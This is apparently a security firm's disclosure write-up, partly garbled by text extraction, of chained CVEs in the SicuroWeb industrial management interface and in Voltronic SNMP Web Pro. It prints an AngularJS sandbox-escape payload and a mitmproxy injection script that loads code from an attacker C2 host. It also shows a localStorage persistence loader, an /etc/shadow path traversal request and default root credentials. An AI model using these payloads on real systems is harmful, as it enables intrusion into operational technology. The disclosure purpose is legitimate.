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AngularJS Template Injection to Client-
Side RCE -- Three 0-Day CVEs Chained In
Industrial Management Software

Three chained 0-day vulnerabilities in SicuroWeb, the AngularJS-based management
interface of the Sicuro24 platform by Beghelli, enable pre-authentication arbitrary

JavaScript execution in operator browsers -- with full persistence. No user interaction

required. No patch available.

https://www.boffsec-services.com/posts/sicuroweb-cve-2026-22191/
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These vulnerabilities were discovered during a professional security assessment and
reported to both vendors on December 9th, 2025. Neither vendor has acknowledged the
disclosure or published a fix. This publication follows the 120-day coordinated disclosure
deadline set by VulnCheck.

Context & Discovery

Beghelli

full blackbox assessment with no credentials

https://www.boffsec-services.com/posts/sicuroweb-cve-2026-22191/
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Step 1 -- Technology Identification & Attack Surface

AngularJS

// Identified in a JS asset

angular.version.full = "1.5.2"

known sandbox escape primitives

GET /templates/  HTTP/1.1
- Directory listing enabled

- All AngularJS HTML templates exposed and accessible unauthenticated

inserting values into an AngularJS-compiled template context

{3}

https://www.boffsec-services.com/posts/sicuroweb-cve-2026-22191/
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{{a=(this).constructor.constructor('alert(1)"')()}}

{13}

this.constructor.constructor Function()

Function('alert(1)")

()

The injection was not visible as output on the page. AngularJS evaluated it directly -- this
is a defining characteristic of template injection versus reflected XSS. The payload is not
reflected as text; it is executed as code.

CWE-79 CWE-1336
CVE-2026-22191
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document

Function prototype chain traversal

.constructor

.constructor Function

Function('code') () outside the sandbox

{{(this).constructor.constructor('alert("Angular Sandbox Bypassed")')()}}

unrestricted access to native

browser APIs

document.querySelector innerHTML

document.createElement('script')

localStorage sessionStorage

HttpOnly

fetch XMLHttpRequest

CWE-94 CWE-1104
CVE-2026-41468
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$routeProvider

{1}

ng-bind-html $sce.trustAsHtml

$location.search()

no GET-based injection point reflected into templates

This is the technical pivot that elevates this finding from medium-severity XSS to a full pre-
authentication attack chain. The delivery mechanism is not the web application -- it is the
network layer.

plaintext HTTP

Step 5 -- Weaponization via mitmproxy

mitmproxy

text/html </head>

https://www.boffsec-services.com/posts/sicuroweb-cve-2026-22191/
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ATTACKER = "[ATTACKER-C2]:8081"

SANDBOX ESCAPE TI PAYLOAD = """
<div ng-init="_ p='{{constructor.constructor(
“(function(){
var s document.createElement('script');
s.src = 'http://[ATTACKER-C2]1/jquery.js";
document.head.appendChild(s);
IONON
) O3 ">{{__p}}i</div>

def response(flow: http.HTTPFlow) -> None:
ct = flow.response.headers.get("content-type", "").lower()
if "text/html" in ct:
html = flow.response.get text()
injection = "<script>" + SANDBOX ESCAPE TI PAYLOAD + "</script>"

html = html.replace("</head>", injection + "</head>")

flow.response.set text(html)

root@attacker:~# mitmproxy -s mitm-exploit.py

https://www.boffsec-services.com/posts/sicuroweb-cve-2026-22191/
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Step 6 -- Persistence via Missing CSP (Vuln. #3)

Content Security Policy

persistent, cross-session foothold

script-src 'none'

localStorage

// Executed once via the sandbox escape -- stores the loader URL

localStorage.setItem("persist loader", "https://[ATTACKER-C2]/payload.js");

// Runs on every page load -- no further MITM required
const url = localStorage.getItem("persist loader");
if (url) {

let s = document.createElement("script");

s.src = url;

document.head.appendChild(s);

https://www.boffsec-services.com/posts/sicuroweb-cve-2026-22191/
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Cross-session persistence

Remote command capability payload.js

CSP bypass by design

CWE-693 CVE-2026-41469

Full Chain -- Impact Analysis

AngularJS Template Injection --

AngularJS 1.5.2 Sandbox Escape --

Function()

Missing Content Security Policy --

stable, remote-

controlled, persistent execution environment

https://www.boffsec-services.com/posts/sicuroweb-cve-2026-22191/



https://www.boffsec-services.com/

4/25/26, 9:56 PM CVE-2026-22191 / CVE-2026-41468 / CVE-2026-41469: Angular]S Exploit Chain to Client-Side RCE -- BOSS

In an OT/ICS environment, a compromised operator browser with full DOM control over the
energy management interface represents a significant risk -- not just to information
security, but to the operational processes being managed through that interface.

Disclosure Timeline

https://www.boffsec-services.com/posts/sicuroweb-cve-2026-22191/



https://www.boffsec-services.com/

4/25/26, 9:56 PM CVE-2026-22191 / CVE-2026-41468 / CVE-2026-41469: Angular]S Exploit Chain to Client-Side RCE -- BOSS

Upgrade or remove AngularJS

Deploy a restrictive Content Security Policy script-src 'self'

Enforce HTTPS/TLS

Sanitize template rendering

$compile

Network segmentation

If not actively used -- decommission

Key Takeaways

Legacy JS Frameworks Are Attack Surface

CSP Is Not Optional in OT Environments

https://www.boffsec-services.com/posts/sicuroweb-cve-2026-22191/
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BONUS -- CONCURRENT PUBLICATION

Voltronic Power SNMP Web Pro v1.1 -- Pre-Auth Root

RCE Chain

CVE-2026-22192 + CVE-2026-22199

SNMP Web Pro

unauthenticated root-level compromise

https://www.boffsec-services.com/posts/sicuroweb-cve-2026-22191/
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// Authentication state stored client-side only
// File: /commJS/login.js -- No server-side enforcement

// Bypass: set localStorage auth values directly in browser console

| CVE-2026-22199 -- Pre-Auth Path Traversal via upload.cgi

upload.cgi params

GET /cgi-bin/upload.cgi?name=download&params=../../../../../../../etc/shadow HTTP/1.1
Host: [REDACTED-DEVICE]

- Returns the contents of /etc/shadow directly

- No authentication required

| Root RCE -- Hash Crack + SSH

/etc/shadow default

credentials ( root / 12345678

ssh root@[REDACTED-DEVICE]

- BusyBox shell as root

- Full device compromise

- Persistent backdoor capability

- Control over industrial UPS functions

https://www.boffsec-services.com/posts/sicuroweb-cve-2026-22191/
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Pre-Auth, Zero Interaction

Industrial Pivot Point

No Patch -- Compensate

Concerned about similar exposures in your environment?

Get in touch -

https://www.boffsec-services.com/posts/sicuroweb-cve-2026-22191/
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